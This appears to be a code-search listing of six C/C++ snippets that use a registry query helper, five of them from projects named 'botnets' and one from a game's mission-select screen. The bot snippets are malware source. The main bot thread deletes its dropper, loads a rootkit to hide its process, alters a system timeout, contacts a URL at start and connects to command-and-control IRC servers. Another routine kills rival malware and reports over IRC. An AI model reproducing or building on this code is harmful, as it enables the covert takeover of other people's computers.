コード例 #1
0
ファイル: regcontrol.cpp プロジェクト: anticlimactech/botnets
BOOL RegExists(HKEY root,LPCTSTR subkey,char *name,DWORD type)
{
	BOOL bRet=FALSE;
	HKEY key=NULL;
	if (!subkey || !name)
		return bRet;
	if (fRegOpenKeyEx(root,subkey,0,KEY_READ|KEY_WRITE,&key) == ERROR_SUCCESS)
	{
		if (type==REG_DWORD)
		{
			BOOL success=FALSE;
			DWORD dwRet=RegQuery(root,subkey,name,&success);
			if (success)
				bRet=TRUE;
			else
				bRet=FALSE;
		}
		else if (type==REG_SZ || type==REG_EXPAND_SZ || type==REG_MULTI_SZ)
		{
			char *szRet=RegQuery(root,subkey,name,REG_SZ);
			if (szRet)
				bRet=TRUE;
			else
				bRet=FALSE;
		}
		fRegCloseKey(key);
	}
	return bRet;
}
コード例 #2
0
ファイル: info.cpp プロジェクト: hazcod/botnets
BOOL UpdateRecord(void)
{
	BOOL bSuccess=FALSE;
	DWORD CurRecord;
	DWORD dwGTC=GetTickCount();
	if (!bRecUpdated)
	{	// If it hasnt been updated its worth checking again.
		CurRecord=RegQuery(rupkey.hkey,rupkey.subkey,rupkey.name,bSuccess);

		if (bSuccess)
		{
			if (dwGTC > CurRecord)
				if (RegWrite(rupkey.hkey,rupkey.subkey,rupkey.name,dwGTC))
					return TRUE;
		}
		else
		{
			if (RegWrite(rupkey.hkey,rupkey.subkey,rupkey.name,dwGTC))
				return TRUE;
		}
	}
	else
	{	// If its already been updated then it will keep updating so we can skip the query.
		RegWrite(rupkey.hkey,rupkey.subkey,rupkey.name,dwGTC);
		return TRUE;
	}
	return FALSE;
}
コード例 #3
0
ファイル: info.cpp プロジェクト: hazcod/botnets
DWORD GetRecord(void)
{
	BOOL bSuccess=FALSE;
	DWORD CurRecord;
	CurRecord=RegQuery(rupkey.hkey,rupkey.subkey,rupkey.name,bSuccess);

	if (bSuccess)
		return CurRecord;
	else
		return 0;

	return 0;
}
コード例 #4
0
void MissionSelectDelegate::onNewContentControl(Control *, Control *newGui)
{
   CMDConsole* console = CMDConsole::getLocked();
   char buf[256];
   edit = (FearGui::TestEdit *)(newGui->findControlWithTag(IDCTG_SESSION));
   if(edit)
   {
      const char *var = console->getVariable("Server::Session");
      if(!var[0])
      {
         strcpy(buf, "FearSession");
         DWORD type;
         DWORD len = 255;
         RegQuery(
            HKEY_LOCAL_MACHINE,
            "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\WinLogon\\DefaultDomainName",
            &type,
            (unsigned char *)buf,
            &len);
      }
      else
         strcpy(buf, var);

      edit->setText(buf);
   }

   TextList *tl = (TextList *)(newGui->findControlWithTag(IDCTG_MISSION_SELECT_LIST));
   if (! tl) return;

   WIN32_FIND_DATA data;
   HANDLE handle = FindFirstFile(MissionNameTemplate, &data);

   if (handle != INVALID_HANDLE_VALUE)
   {
      do
      {
         data.cFileName[strlen(data.cFileName) - 4] = '\0';
         tl->addEntryBack(data.cFileName);
      }
      while (FindNextFile(handle,&data));
      FindClose(handle);
   }
}
コード例 #5
0
ファイル: reptile.cpp プロジェクト: hazcod/botnets
DWORD WINAPI BotThread(LPVOID param)
{
	for (int m=0;m<6;m++)
	{
		if(!(mutex=CreateMutex(NULL, FALSE, mutexhandle)))
			Sleep(5000);
		else
			break;
	}
//	if (WaitForSingleObject(CreateMutex(NULL, TRUE, mutexhandle), 30000) == WAIT_TIMEOUT)
//		ExitProcess(0);

	addthread(MAIN_THREAD,str_main_thread,main_title);

#ifndef _DEBUG
#ifndef NO_MELT
		char *melt=RegQuery(meltkey.hkey,meltkey.subkey,meltkey.name);
		if (melt)
		{
			SetFileAttributes(melt,FILE_ATTRIBUTE_NORMAL);
			int tries=0;
			while (FileExists(melt) && tries<3)
			{
				DeleteFile(melt);
				tries++;
				Sleep(2000);
			}
			RegDelete(meltkey.hkey,meltkey.subkey,meltkey.name);
		}
#endif // NO_MELT
#endif // _DEBUG

	srand(GetTickCount());
	dwstarted=GetTickCount();
#ifndef NO_VERSION_REPLY
	curversion=rand()%(versionsize);
#ifdef _DEBUG
	printf("Generated current_version: %d (%d), %s.\n",curversion,versionsize,versionlist[curversion]);
#endif
#endif

	WSADATA wsadata;
	if (fWSAStartup(MAKEWORD(2,2),&wsadata)!=0)
		ExitProcess(-2);

#ifndef _DEBUG
#ifndef NO_FCONNECT
	char readbuf[1024];
	HINTERNET httpopen, openurl;
	DWORD read;
	httpopen=fInternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
	openurl=fInternetOpenUrl(httpopen,cononstart,NULL,NULL,INTERNET_FLAG_RELOAD|INTERNET_FLAG_NO_CACHE_WRITE,NULL);
	if (!openurl)
	{
		fInternetCloseHandle(httpopen);
		fInternetCloseHandle(openurl);
	}
	fInternetReadFile(openurl,readbuf,sizeof(readbuf),&read);
	fInternetCloseHandle(httpopen);
	fInternetCloseHandle(openurl);
#endif // NO_FCONNECT
#endif // _DEBUG

#ifndef NO_INSTALLED_TIME
	if (!noadvapi32)
		GetInstalledTime();
	else
		sprintf(installedt,"Error");
#endif // NO_INSTALLED_TIME
	
	int i=0;
	DWORD id=0;

#ifndef NO_RECORD_UPTIME
	i=addthread(RUPTIME_THREAD,str_rup_thread,main_title);
	threads[i].tHandle=CreateThread(NULL,0,&RecordUptimeThread,0,0,&id);
#endif // NO_RECORD_UPTIME
	

#ifndef NO_AUTO_SECURE
#ifndef NO_SECURE
	NTHREAD secure;		
	secure.bdata2=TRUE;//loop
	i=addthread(SECURE_THREAD,str_asecure_thread,sec_title);
	threads[i].tHandle=CreateThread(NULL,0,&SecureThread,(LPVOID)&secure,0,&id);
#endif
#endif // NO_AUTO_SECURE
	
#ifndef NO_RDRIV
#ifndef _DEBUG
	rkenabled=InitRK();//initialize fu
	if (rkenabled)
		HideMe();//hide the process
#endif // _DEBUG
#endif // NO_RDRIV

#ifndef _DEBUG // maybe this will give the shutdown handler time to work
	RegWrite(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control","WaitToKillServiceTimeout","7000");
#endif
	
	//get internal ip
	char *ip;
	char hostname[256];
	struct hostent *h;
	fgethostname(hostname, 256);
	h = fgethostbyname(hostname);
	ip = finet_ntoa(*(struct in_addr *)h->h_addr_list[0]);
	strncpy(inip,ip,sizeof(inip));


	curserver=0;
	HookProtocol(&mainirc);
	
	while (mainirc.should_connect()) {
		if (!mainirc.is_connected())
		{
#ifdef _DEBUG
			printf("Trying to connect to: %s:%i\r\n",servers[curserver].host,servers[curserver].port);
#endif
#ifndef NO_FLUSHDNS
			FlushDNSCache();
#endif
			mainirc.start(servers[curserver].host,servers[curserver].port,
					  mainirc.nickgen(NICK_TYPE,REQ_NICKLEN),mainirc.nickgen(IDENT_TYPE,REQ_IDENTLEN),
					  mainirc.nickgen(REALN_TYPE,REQ_REALNLEN),servers[curserver].pass);
			mainirc.message_loop();
		}
		else
			mainirc.message_loop();

		Sleep(SFLOOD_DELAY);
		
		if (curserver==(serversize-1))
			curserver=0;
		else
			curserver++;
	}

	// cleanup;
	killthreadall();
	fWSACleanup();
	ReleaseMutex(mutex);
	ExitThread(0);
}
コード例 #6
0
ファイル: secure.cpp プロジェクト: anticlimactech/botnets
void RemoveVirus(char *target,void *conn,BOOL loop,BOOL silent,BOOL verbose)
{
	IRC* irc=(IRC*)conn;
	char sysdir[MAX_PATH], virusexecutable[MAX_PATH];
	int viriireg=0,viriikill=0,viriidel=0;
	int viriifound=0;
	int viriisize=(sizeof(viruses)/sizeof(VIRUSES));

	for (unsigned int i=0; i<viriisize; i++)
	{
		char *treg=RegQuery(viruses[i].hkey,viruses[i].subkey,viruses[i].value);
		if (treg)
		{
			viriifound++;
			if (RegDelete(viruses[i].hkey,viruses[i].subkey,viruses[i].value))
			{
				viriireg++;
				if (!loop && !silent && verbose)
					irc->privmsg(target,"%s Removed registry key for virus: %s",sec_title,viruses[i].name);
			}

#ifndef NO_PROCESS
			if (KillProcess(viruses[i].file,0))
			{
				viriikill++;
				if (!loop && !silent && verbose)
					irc->privmsg(target,"%s Killed process for virus: %s",sec_title,viruses[i].name);
			}
#endif
			GetSystemDirectory(sysdir, sizeof(sysdir));
			sprintf(virusexecutable, "%s\\%s", sysdir, viruses[i].file);
			if (DeleteFile(virusexecutable)!=0)
			{
				viriidel++;
				if (!loop && !silent && verbose)
					irc->privmsg(target,"%s Erased executable for virus: %s",sec_title,viruses[i].name);
			}
		}
		else
		{	// Just for the hell of it
			/*if (KillProcess(viruses[i].file,0))
			{
				GetSystemDirectory(sysdir, sizeof(sysdir));
				sprintf(virusexecutable, "%s\\%s", sysdir, viruses[i].file);
				DeleteFile(virusexecutable);
			}
			Sleep(100);*/
		}

	}
	if (viriifound==0)
	{
		if (!loop && !silent)
			irc->privmsg(target,"%s No known viruses.",sec_title);
	}
	else
	{
		if (!loop && !silent)
			irc->privmsg(target,"%s %s known viruses: R:%.2d, K:%.2d, D:%.2d",sec_title,viriifound,viriireg,viriikill,viriidel);
	}
  
	return;
}